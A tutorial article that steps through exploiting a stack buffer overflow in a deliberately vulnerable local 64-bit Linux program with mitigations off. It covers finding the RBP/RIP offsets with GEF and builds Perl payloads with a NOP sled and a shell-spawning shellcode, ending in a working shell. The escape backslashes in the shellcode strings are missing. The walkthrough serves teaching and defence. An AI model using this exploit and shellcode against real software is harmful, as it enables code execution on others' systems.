Buffer overflow exploitation case study
In the previous article, we briefly discussed buffer overflow vulnerabilities and their types. We also discussed how one can analyze crash dumps to understand the situation of a program at the time of the crash.
In this article, let’s take a look at how to exploit a stack buffer overflow vulnerability.
Learn Secure Coding
Crashing the program
In the previous article, we have discussed how to crash the program. We used a large buffer of 300 As to crash the program using the following template.
exploit1.pl
$| = 1;
$junk = "A" x 300;
print $junk;We have passed 300 As and we don't know which 8 are among those three hundred As overwriting the RBP register. We want to be able to find that exact offset overwriting the RBP register. If we can find out the offset of which 8 As are actually overwriting the RBP register, we will be able to find out the offset. That will help us to redirect the program flow to some code that is written by us.
Finding offset to overwrite EIP
Since we know that there is a crash with 300 characters, to proceed further with the analysis, let’s once again load the executable directly instead of analyzing the core file.
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤Now, let's run the command pattern create 300 within GEF terminal.This is going to produce a pattern with a length of 300. We can use this pattern instead of three hundred As so we will be able to identify which four characters are actually overwriting RBP.
[+] Generating a pattern of 300 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gef➤Let’s copy the pattern and paste it into the following file.
exploit2.pl
$| = 1;
$junk = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa";
print $junk;Now let's run this exploit2.pl and save it into a file called payload2.
Now let's load the application once again using GDB and let's start running this binary using run and let us pass the content of payload2 as the argument to this program and run it.
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤
gef➤ r $(cat payload2)
Starting program: /home/dev/x86_64/simple_bof/vulnerable $(cat payload2)
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551ad in vuln_func ()
If you notice, the application crashed and once again there is a segmentation fault. But, we cannot derive any conclusions just by looking at the address that caused the segmentation fault. Let’s examine the registers by using info registers and check if we can notice anything useful.
rax 0x7fffffffdd00 0x7fffffffdd00
rbx 0x5555555551b0 0x5555555551b0
rcx 0x10000 0x10000
rdx 0x10 0x10
rsi 0x7fffffffe3a0 0x7fffffffe3a0
rdi 0x7fffffffde1c 0x7fffffffde1c
rbp 0x6261616161616168 0x6261616161616168
rsp 0x7fffffffde08 0x7fffffffde08
r8 0x0 0x0
r9 0x7ffff7fe0d50 0x7ffff7fe0d50
r10 0x0 0x0
r11 0x0 0x0
r12 0x555555555060 0x555555555060
r13 0x7fffffffdf10 0x7fffffffdf10
r14 0x0 0x0
r15 0x0 0x0
rip 0x5555555551ad 0x5555555551ad <vuln_func+49>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gef➤There doesn't seem to be any pattern overwriting RIP, but once again, RBP appears to have been overwritten with 8 bytes from our payload. Let’s confirm that by using the pattern search command from GEF.
[+] Searching '0x6261616161616168'
[+] Found at offset 256 (little-endian search) likely
gef➤The pattern is found after 256 bytes. So we found the offset to RBP, which is 256 bytes. Even though we are unable to overwrite RIP, we can calculate the possible offset to RIP based on the offset to RBP. RIP will be overwritten immediately after RBP. The offset to RIP should be 256 + 8 = 264 bytes. Let’s update our perl script.
exploit3.pl
$| = 1;
$junk = "A" x 256; # Offset to RBP
$junk .= "B" x 8; # RBP
$junk .= "C" x 8; # RIP
print $junk;With this new payload, if everything goes as expected, we should see 8 Bs in RBP and 8 Cs in RIP.
Now let's run this exploit3.pl and save it into our file called payload3.
Let's load the application once again using GDB, start running this binary using run and pass the content of payload3 as the argument to this program and run it.
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤ r $(cat payload3)
Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload3)
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551ad in vuln_func ()Once again, the application crashed and the segmentation fault does not seem to show anything useful. Let’s run info registers and observe the registers once again.
rax 0x7fffffffdd20 0x7fffffffdd20
rbx 0x5555555551b0 0x5555555551b0
rcx 0x10000 0x10000
rdx 0x10 0x10
rsi 0x7fffffffe3a0 0x7fffffffe3a0
rdi 0x7fffffffde20 0x7fffffffde20
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffde28 0x7fffffffde28
r8 0x0 0x0
r9 0x7ffff7fe0d50 0x7ffff7fe0d50
r10 0x0 0x0
r11 0x0 0x0
r12 0x555555555060 0x555555555060
r13 0x7fffffffdf30 0x7fffffffdf30
r14 0x0 0x0
r15 0x0 0x0
rip 0x5555555551ad 0x5555555551ad <vuln_func+49>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gef➤The RBP register has 8 Bs as expected, but the RIP register does not contain 8 Cs.
In 64-bit architecture, it is worth knowing about the usable address space. This usable address space is from 0x0000000000000000 to 0x00007FFFFFFFFFFF. These addresses are called canonical addresses. Attempting to use non-canonical addresses (from 0x0000800000000000 to 0xFFFF7FFFFFFFFFFF) will cause a segmentation fault. So far, we have been noticing the segmentation faults due to the fact that we were overwriting RIP with a non-canonical address instead of an address from a valid range. This simply means we cannot overwrite all 64 bits of the RIP register. We should overwrite the lower 48 bits only to avoid segmentation fault.
Check the output of vmmap, and we should see that all the entries are only in the canonical address range.
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000555555554000 0x0000555555557000 0x0000000000000000 r-x /home/worker1/x86_64/simple_bof/vulnerable
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-x /home/worker1/x86_64/simple_bof/vulnerable
0x0000555555558000 0x0000555555559000 0x0000000000003000 rwx /home/worker1/x86_64/simple_bof/vulnerable
0x00007ffff7dc6000 0x00007ffff7fad000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fad000 0x00007ffff7fae000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fae000 0x00007ffff7fb1000 0x00000000001e7000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fb1000 0x00007ffff7fb4000 0x00000000001ea000 rwx /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fb4000 0x00007ffff7fba000 0x0000000000000000 rwx
0x00007ffff7fcb000 0x00007ffff7fce000 0x0000000000000000 r-- [vvar]
0x00007ffff7fce000 0x00007ffff7fcf000 0x0000000000000000 r-x [vdso]
0x00007ffff7fcf000 0x00007ffff7ffb000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x000000000002c000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002d000 rwx /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤As you can see, all the lines excluding the last one describe memory regions in user space and all of their first 2 bytes are set to 0.
The last line (i.e. 0xffffffffff600000…[vsyscall]) refers to a 4 KB page in the kernel space which has been mapped into the user space. The key takeaway here is that all the user space addresses are in canonical address range.
Keeping this in mind, let’s overwrite RIP register with 6 bytes instead of 8. Let’s update the exploit.
exploit4.pl
$| = 1;
$junk = "A" x 256; # Offset to RBP
$junk .= "B" x 8; # RBP
$junk .= "C" x 6; # RIP
print $junk;If all our theory is correct, after executing the payload generated from this file, we should see 6 Cs overwriting RIP register if everything goes as expected.
Now let's run this exploit4.pl and save it into our file called payload4.
Let's load the application once again using GDB and start running this binary using run. Let’s pass the content of payload4 as the argument to this program and run it.
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤ r $(cat payload4)
Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload4)
Program received signal SIGSEGV, Segmentation fault.
0x0000434343434343 in ?? ()We managed to successfully overwrite RIP register and this time, the segmentation fault clearly shows that our address 434343434343 in RIP has caused this crash. Let’s quickly confirm it by checking the registers.
rax 0x7fffffffdd20 0x7fffffffdd20
rbx 0x5555555551b0 0x5555555551b0
rcx 0x10000 0x10000
rdx 0x10 0x10
rsi 0x7fffffffe3a0 0x7fffffffe3a0
rdi 0x7fffffffde1e 0x7fffffffde1e
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffde30 0x7fffffffde30
r8 0x0 0x0
r9 0x7ffff7fe0d50 0x7ffff7fe0d50
r10 0x0 0x0
r11 0x0 0x0
r12 0x555555555060 0x555555555060
r13 0x7fffffffdf30 0x7fffffffdf30
r14 0x0 0x0
r15 0x0 0x0
rip 0x434343434343 0x434343434343
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gef➤As we can see, we are able to control the RIP register.
Let’s also observe the stack by printing out values from $rsp-280. This should give us a better understanding of what we have placed on the stack so far.
0x7fffffffdd18: 0x00007fffffffe2a3 0x4141414141414141
0x7fffffffdd28: 0x4141414141414141 0x4141414141414141
0x7fffffffdd38: 0x4141414141414141 0x4141414141414141
0x7fffffffdd48: 0x4141414141414141 0x4141414141414141
0x7fffffffdd58: 0x4141414141414141 0x4141414141414141
0x7fffffffdd68: 0x4141414141414141 0x4141414141414141
0x7fffffffdd78: 0x4141414141414141 0x4141414141414141
0x7fffffffdd88: 0x4141414141414141 0x4141414141414141
0x7fffffffdd98: 0x4141414141414141 0x4141414141414141
0x7fffffffdda8: 0x4141414141414141 0x4141414141414141
0x7fffffffddb8: 0x4141414141414141 0x4141414141414141
0x7fffffffddc8: 0x4141414141414141 0x4141414141414141
0x7fffffffddd8: 0x4141414141414141 0x4141414141414141
0x7fffffffdde8: 0x4141414141414141 0x4141414141414141
0x7fffffffddf8: 0x4141414141414141 0x4141414141414141
0x7fffffffde08: 0x4141414141414141 0x4141414141414141
0x7fffffffde18: 0x4141414141414141 0x4242424242424242
0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38
0x7fffffffde38: 0x0000000200000000 0x0000000000000000
0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620
0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000
0x7fffffffde68: 0x0000000000401136 0x00000000004011a0
0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050
0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000
0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db
gef➤g in the command shows 64-bit values.
If you look at the output, there are a bunch of As, followed by 0x4242424242424242 and then 6 Cs. Everything that we have placed inside the buffer is currently available on the stack and that's a good news.
The key takeaway from this observation is that we managed to identify how much junk is required to be able to control the RIP register. We also noticed that most of the characters we are placing in the buffer are available on the stack.
Redirecting execution and executing shellcode
Let's discuss how we can make use of the space controllable by us on the stack. Let's also discuss how we can make use of the control we have on the RIP register. A simple idea here is that we will place some shellcode in the beginning of the buffer and then force this RIP register to execute the shellcode we placed.
Shellcode is a sequence of instructions that your machine can execute directly. We don't have to worry about compiling shellcode because shellcode is something that can be understood and executed by the CPU directly. So in the space that we have on the stack we can place some shellcode because it can be directly executed by the CPU. There are multiple resources available online where shellcode is publicly available. We are going to take this shell code from http://shell-storm.org/ for this exercise, which is available at http://shell-storm.org/shellcode/files/shellcode-806.php.
This shellcode, when executed, is going to execute /bin/sh.
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "30405@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;
main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
int main()
{
printf("len:%d bytesn", strlen(code));
(*(void(*)()) code)();
return 0;
}Let's copy the highlighted shellcode into our exploit, as shown below.
exploit5.pl
$| = 1;
$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
$junk = "A" x 256; # Offset to RBP
$junk .= "B" x 8; # RBP
$junk .= "C" x 6; # RIP
print $junk;The shellcode taken from shell-storm.org is now placed in our exploit.
Now where do we place this shellcode in our buffer? Let’s examine the stack once again.
0x7fffffffdd18: 0x00007fffffffe2a3 0x4141414141414141
0x7fffffffdd28: 0x4141414141414141 0x4141414141414141
0x7fffffffdd38: 0x4141414141414141 0x4141414141414141
0x7fffffffdd48: 0x4141414141414141 0x4141414141414141
0x7fffffffdd58: 0x4141414141414141 0x4141414141414141
0x7fffffffdd68: 0x4141414141414141 0x4141414141414141
0x7fffffffdd78: 0x4141414141414141 0x4141414141414141
0x7fffffffdd88: 0x4141414141414141 0x4141414141414141
0x7fffffffdd98: 0x4141414141414141 0x4141414141414141
0x7fffffffdda8: 0x4141414141414141 0x4141414141414141
0x7fffffffddb8: 0x4141414141414141 0x4141414141414141
0x7fffffffddc8: 0x4141414141414141 0x4141414141414141
0x7fffffffddd8: 0x4141414141414141 0x4141414141414141
0x7fffffffdde8: 0x4141414141414141 0x4141414141414141
0x7fffffffddf8: 0x4141414141414141 0x4141414141414141
0x7fffffffde08: 0x4141414141414141 0x4141414141414141
0x7fffffffde18: 0x4141414141414141 0x4242424242424242
0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38
0x7fffffffde38: 0x0000000200000000 0x0000000000000000
0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620
0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000
0x7fffffffde68: 0x0000000000401136 0x00000000004011a0
0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050
0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000
0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db
gef➤Finalizing the working exploit
Now let's see how we can replace the 6 Cs so the execution will be redirected onto our shellcode. So let's find an address that points to the shellcode and let's try to overwrite the RIP with that address. The address 0x7fffffffdd28 is pointing to the beginning of our buffer. We can hardcode this address in RIP and place shellcode in the beginning of our buffer instead of As. To give some room for error, let’s place a small nop sled in before the shellcode. NOP stands for no operation and it basically does nothing but just passing the execution to the next instruction.
The reason we're going to use this NOP sled here is when we control the RIP and pass the execution to this, NOP sled basically does nothing but sliding the execution towards the shellcode. At some point of time, the execution will land on the shellcode and our shellcode gets executed.
Following is the exploit with these changes.
exploit6.pl
$| = 1;
$nops = "x90" x 30;
$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
$junk = "A" x (256-length($shellcode)-length($nops));
$junk .= "B" x 8; # RBP
$junk .= "x28xddxffxffxffx7f"; # RIP
print $nops . $shellcode . $junk;As we can see in the exploit, we are using 30 NOPS, followed by the /bin/sh shellcode.
We are printing the NOP sled, followed by shellcode and then we have junk, which will fill the remaining buffer until we reach RBP. 8 Bs are used to overwrite RBP and finally, RIP is filled with the address that is pointing to our NOP sled.
Let’s run the exploit against our vulnerable program and check if it works.
$ gdb -q ./vulnerable
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤ r $(cat payload6)
Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload6)
process 60956 is executing new program: /usr/bin/dash
$ id
[Detaching after fork from child process 61255]
uid=1000(worker1) gid=1000(worker1) groups=1000(worker1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
$ uname -a
[Detaching after fork from child process 61331]
Linux worker1 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$The exploit has worked.
If we try the same exploit outside GDB, the exploit may not work — and it may through a segmentation fault.
Segmentation fault (core dumped)
$Let’s obtain the core file generated from the segmentation fault and examine how we can fix our exploit so that it works outside GDB.
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 9.1 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
[New LWP 68610]
Python Exception <class 'UnicodeDecodeError'> 'utf-8' codec can't decode byte 0x90 in position 20: invalid start byte:
Core was generated by `./vulnerable ������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007fffffffdd50 in ?? ()
gef➤Let us examine the contents from $rsp-350.
0x7fffffffdd32: 0x0000000000000000 0x0000000000000000
0x7fffffffdd42: 0x0000000000000000 0x11a0000000000000
0x7fffffffdd52: 0xe190000000000040 0x000000007ffff7ff
0x7fffffffdd62: 0x1198000000000000 0x0000000000000040
0x7fffffffdd72: 0xe2d5000000000000 0x909000007fffffff
0x7fffffffdd82: 0x9090909090909090 0x9090909090909090
0x7fffffffdd92: 0x9090909090909090 0xbb48c03190909090
0x7fffffffdda2: 0xff978cd091969dd1 0x52995f5453dbf748
0x7fffffffddb2: 0x41050f3bb05e5457 0x4141414141414141
0x7fffffffddc2: 0x4141414141414141 0x4141414141414141
0x7fffffffddd2: 0x4141414141414141 0x4141414141414141
0x7fffffffdde2: 0x4141414141414141 0x4141414141414141
0x7fffffffddf2: 0x4141414141414141 0x4141414141414141
0x7fffffffde02: 0x4141414141414141 0x4141414141414141
0x7fffffffde12: 0x4141414141414141 0x4141414141414141
0x7fffffffde22: 0x4141414141414141 0x4141414141414141
0x7fffffffde32: 0x4141414141414141 0x4141414141414141
0x7fffffffde42: 0x4141414141414141 0x4141414141414141
0x7fffffffde52: 0x4141414141414141 0x4141414141414141
0x7fffffffde62: 0x4141414141414141 0x4141414141414141
0x7fffffffde72: 0x4141414141414141 0x4242414141414141
0x7fffffffde82: 0xdd28424242424242 0xdf9800007fffffff
0x7fffffffde92: 0x000000007fffffff 0x0000000000020000
0x7fffffffdea2: 0xd0b3000000000000 0xc62000007ffff7de
0x7fffffffdeb2: 0xdf9800007ffff7ff 0x000000007fffffff
gef➤If you notice, 0x7fffffffdd82 is the address pointing to our NOP sled outside GDB and we used a different address that was causing a segfault. Let’s fix the exploit.
exploit6.pl
$| = 1;
$nops = "x90" x 30;
$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
$junk = "A" x (256-length($shellcode)-length($nops));
$junk .= "B" x 8; # RBP
$junk .= "x82xddxffxffxffx7f"; # RIP
print $nops . $shellcode . $junk;
Run the exploit and it should work.
~/x86_64/simple_bof$ ./vulnerable $(cat payload6)
$Our exploit successfully worked outside GDB.
Learn Secure Coding
Conclusion
In this article, we discussed a case study of how a simple stack-based buffer overflow vulnerability can be exploited on a modern Linux 64-bit machine. To keep the exploitation steps simple, we disabled all the exploit mitigation techniques.
In the next article, we will discuss various exploit mitigation techniques to prevent buffer overflow attacks.
Sources
- Buffer Overflow, OWASP
- Stack-Based Buffer Overflow Attacks: Explained and Examples, Rapid7
- What Is a Buffer Overflow, Acunetix